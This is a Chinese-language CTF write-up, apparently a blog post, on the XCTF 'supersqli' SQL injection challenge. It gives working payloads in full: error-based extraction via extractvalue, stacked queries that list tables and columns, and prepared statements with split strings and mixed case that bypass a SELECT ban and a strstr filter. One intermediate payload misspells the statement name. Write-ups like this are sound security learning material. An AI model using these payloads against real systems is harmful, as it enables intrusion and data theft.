XCTF-supersqli

supersqli

进来有个输入框,看内容应该是var_dump了sql查询结果

单引号有报错,万能语句能用,注释符#没被ban

打了个union select,给提示ban了一堆关键字,而且忽略大小写

想了下,想到一个

之前做过一道php的题,利用的是preg_match的一个特性,它在匹配后会转换unicode,所以把select转换成unicode编码传入就可以了

回显已经转义,但还是会一直报错,猜测是unicode编码里的#影响了代码的执行

试试报错注入1' or extractvalue(rand(),concat(0x7e,database())) #

能爆出库名supersqli

然后在搜bypass的时候看到了堆叠注入

想了下刚好可以用堆叠

0'; use supersqli; show tables;,爆出表名

0'; use supersqli; show columns from `1919810931114514`; #

爆出字段名

最后查flag难住了,不知道怎么绕

去看了wp,这里要用sql的预编译

sql预编译的语法

set 设置查询语句

prepare 进行编译并命名

execute 执行

0'; set @sql=concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqili; #

还有个strstr过滤

strstr不能区分大小写,混写一下就可以了

payload

0';sEt @sql=concat('se','lect * from `1919810931114514`;');pRepare sqli from @sql;execute sqli;

安利这篇write up,比我写的好n倍

收获姿势:

  • 堆叠注入+预编译绕过select被ban
  • 大小写混合绕过strstr
原文地址:https://www.cnblogs.com/R3col/p/12699525.html